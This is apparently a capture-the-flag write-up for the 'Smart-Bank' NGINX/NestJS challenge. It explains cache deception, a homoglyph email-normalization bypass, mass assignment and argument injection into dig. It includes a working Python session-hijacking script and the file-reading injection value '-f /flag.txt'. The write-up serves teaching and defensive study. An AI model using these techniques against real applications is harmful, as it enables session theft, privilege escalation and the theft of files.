TL;DR
The CTF challenge requires exploiting vulnerabilities in an application setup with NGINX as a reverse proxy and a backend application built using NestJS. The main vulnerabilities exploited include NGINX reverse proxy cache deception, normalization bypass, and mass assignment. The attacker was able to hijack another user’s session, override their OTP secret, elevate privileges, and extract sensitive information.
Challenge Description
The challenge revolves around an application named “Smart-Bank”. This web application offers standard banking features where users can:
- Register: New users can sign up, providing personal details to create an account in Smart-Bank.
- Enable OTP (One-Time Password): For added security, users can enable OTP-based authentication. The application uses the user’s email to handle OTP secrets, and these secrets are crucial for generating and validating the one-time passwords.
- Transactions: Registered users can conduct transactions, sending funds to other users. Each transaction is recorded, and the transaction history, including details about the sender and receiver, can be retrieved.
- User Profiles: Users can view and edit their profiles, checking their balance and other account details.
The application’s backend is powered by NestJS and uses Prisma for database interactions. On the front, it uses Nginx as a reverse proxy. The challenge aims to exploit vulnerabilities present in these configurations and the application logic to achieve certain objectives.
Vulnerable Parts
1. NGINX Reverse Proxy Cache Deception
Description: The NGINX configuration allows caching of certain responses. This can lead to cache deception, allowing unauthenticated users to potentially retrieve cached responses.
Relevant Code: The NGINX configuration provided shows the caching mechanism:
http {
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=cache_zone:10m max_size=10g inactive=60m;
...
proxy_no_cache $http_cookie;
proxy_cache_bypass $http_cookie;
proxy_ignore_headers Set-Cookie Vary Cache-Control Expires;
proxy_cache cache_zone;
proxy_cache_key "$scheme$request_method$host$request_uri";
proxy_cache_valid 200 1s;
...
}
The configuration shows that caching bypasses requests with cookies ($http_cookie
). However, if a request comes in without a cookie, it might fetch a cached response which might have been meant for a different user, thus exposing the Set-Cookie
header. We just have to make a request that has the same key of the cached one in the interval of 1s
. (be careful to $host$request_uri
)
2. Normalization Bypass in OTP
Description: The backend application’s email normalization can be bypassed using homoglyph characters. This allows an attacker to craft email addresses that, once normalized, match an existing user’s email, thereby enabling the attacker to override the OTP secret of the intended victim.
Relevant Code:
In getUserOTPStatus
, the email is not normalized before being checked, so when checking in the database no result is returned:
async getUserOTPStatus(email: string): Promise<boolean> {
try {
const user = await this.usersService.findOneByEmail(email);
if (!user) {
throw new NotFoundException("User not found");
}
return user.otpEnabled;
} catch (error) {
throw new NotFoundException("User not found");
}
}
This allows us to create our own otpSecret
:
async generateOTPSecret(
email: string
): Promise<{
secret: string,
qrcode: string
}> {
try {
const secret = speakEasy.generateSecret({
name: 'SmartBank transactions OTP',
})
const normalizedEmail = normalize(email);
await this.usersService.updateUserByEmail(normalizedEmail, {
otpSecret: secret.base32,
});
const qrcode = await QRCode.toDataURL(secret.otpauth_url);
return {
secret: secret.base32,
qrcode
}
} catch (error) {
throw new NotFoundException("User not found");
}
}
This function uses the normalized email to update the otpSecret allowing us to overwrite other users records by registering with their email replaced with some homoglyph characters.
3. Mass Assignment in User Update
Description:
The endpoint for updating user data lacks proper validation and allows mass assignment. This means an attacker can update any field in their user record (except those alredy defined), including the role
field, which controls user privileges.
Relevant Code:
In the UsersController
, the PATCH method for updating user details does not have proper validation:
@UseGuards(AuthenticatedGuard)
@Patch('/me')
async patchUser(
@Body() body,
@Req() req
): Promise<any> {
// todo: add validation via DTO
// ... omitted for brevity
const { password, otpSecret, otpEnabled, balance, createdAt, email, ...updateData } = body
const user = await this.usersService.updateUserById(req.user.id, updateData)
// ...
}
Since there is no dto associated, this code snippet allows for any field in the user record, except those alredy defined, to be updated, including the role
field.
4. Command Injection via Transaction Origin
Description:
The application invokes external commands with user-supplied input without proper sanitization. Specifically, the investigate
function in the TransactionsService
calls the dig
command with the thirdPartyOrigin
value, which an attacker can control.
Relevant Code:
Here’s the investigate
function from the TransactionsService
:
// ...
async create(
req: any,
createTransactionDto: SubmitTransactionDto
) {
// ...
try {
const transaction = await this.prismaService.transaction.create({
data: {
...createTransactionDto,
senderId: req.user.id,
thirdPartyOrigin: req.headers.origin ? this.securityService.sanitizeInput(req.headers.origin) : null
}
});
return transaction;
}
// ...
async investigate(id: number) {
const transaction = await this.findOneById(id);
if (!transaction.thirdPartyOrigin) {
throw new UnprocessableEntityException('Transaction does not have a third party origin');
}
const { stdout, stderr } = await execAsync(`dig any ${transaction.thirdPartyOrigin}`);
// ...
}
The dig
command is executed with the thirdPartyOrigin
value, which can be manipulated for command injection.
Solution
-
Session Hijacking:
- A multi-threaded Python script was crafted to send requests to the application. Whenever the response contained a ‘Set-Cookie’ header (indicating a cached response), the attacker tried accessing the user’s endpoint with the captured cookie. This allowed the attacker to hijack a session of a user with a non-zero balance.
import requests import time import threading URL = "http://10.90.230.167" USER_ENDPOINT = "/users/me" THREADS = 10 prox = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"} headers = { "Host": "smart-bank.local" } lock = threading.Lock() success = False def worker(): global success while not success: response = requests.get(URL, headers=headers) if 'Set-Cookie' in response.headers: cookie = response.headers['Set-Cookie'] time.sleep(5) user_headers = headers.copy() user_headers["Cookie"] = cookie user_response = requests.get(f"{URL}{USER_ENDPOINT}" , headers=user_headers,allow_redirects=False, proxies=prox) if user_response.status_code == 200: with lock: success = True print(f"Successful user endpoint response with cookie: {cookie}") time.sleep(0.5) threads = [] for _ in range(THREADS): t = threading.Thread(target=worker) t.start() threads.append(t) # Wait for all threads to complete for t in threads: t.join()
-
OTP Override:
- An account was created with an email address that, when normalized, matched an existing user’s email (e.g., using “ⅿ.ko[email protected]ocal” to match “[email protected]”). By initiating the OTP generation process, the attacker was able to override the OTP secret of the target user.
-
Privilege Elevation:
- Use the hijacked session to login as the target user. Using the mass assignment vulnerability in the
/users/me
endpoint, the attacker updated therole
field of their user record to ‘supervisor’, elevating their privileges within the application.
- Use the hijacked session to login as the target user. Using the mass assignment vulnerability in the
-
Extraction of Sensitive Data:
- With supervisor privileges, the attacker created a transaction with the Origin header set to
-f /flag.txt
. When visiting/supervision/transactions/id/inspect
the backend executed thedig
command with this input, inadvertently revealing the contents of the/flag.txt
file.
- With supervisor privileges, the attacker created a transaction with the Origin header set to
By chaining these vulnerabilities together, the attacker was able to gain supervisor access and retrieve sensitive data from the application.
Unintended Vulnerabilities
1. OTP Secret Exposure
Description:
The endpoint designed to retrieve user transactions inadvertently exposed the otpSecret
of users. This means that an attacker could directly obtain the OTP secret for a user without needing to exploit the email normalization vulnerability to override it.
Relevant Code:
In the SupervisionController
, the getUser
method retrieves user details and attempts to omit the password
and otpSecret
fields. However, this filtering was not applied to the getUserTransactions
method, leading to potential exposure:
@Get('users/:id')
async getUser(
@Param('id') id: number,
) {
const user = await this.usersService.findOneById(+id);
const { password, otpSecret, ...result } = user;
return result;
}
@Get('users/:id/transactions')
async getUserTransactions(
@Param() param: any,
) {
return this.transactionsService.findAllByUserId(+param.id);
}
The getUserTransactions
method could expose transaction details, including the otpSecret
, if not properly handled in the TransactionsService
.
2. Missing Whitelisting in DTO Validation
Description:
The application doesn’t utilize the ValidationPipe
module of NestJS with the whitelist
option enabled. This means that Data Transfer Objects (DTOs) allow any unspecified fields to pass through. As a result, during user registration, an attacker could directly set a high balance
for their account without having to transfer funds.
Relevant Code:
import { IsNotEmpty, IsEmail, IsString } from 'class-validator';
import { Match } from './match.decorator';
export class CreateUserDto {
@IsNotEmpty()
name: string;
@IsEmail()
@IsNotEmpty()
email: string;
@IsString()
@IsNotEmpty()
password: string;
@IsString()
@IsNotEmpty()
@Match('password')
passwordConfirm: string;
}
In the absence of the whitelist
option in the ValidationPipe
, any field not defined in the DTO (e.g., balance
) would still be accepted by the endpoint. If the service layer doesn’t adequately validate or ignore these fields, it can lead to unintended behaviors, like assigning oneself a high balance.
By understanding these unintended vulnerabilities, developers can gain insight into potential oversights in the codebase and further harden the application against both intended and unintended attack vectors
Deploy Challenge
If you’d like to try the challenge for yourself, click the link below: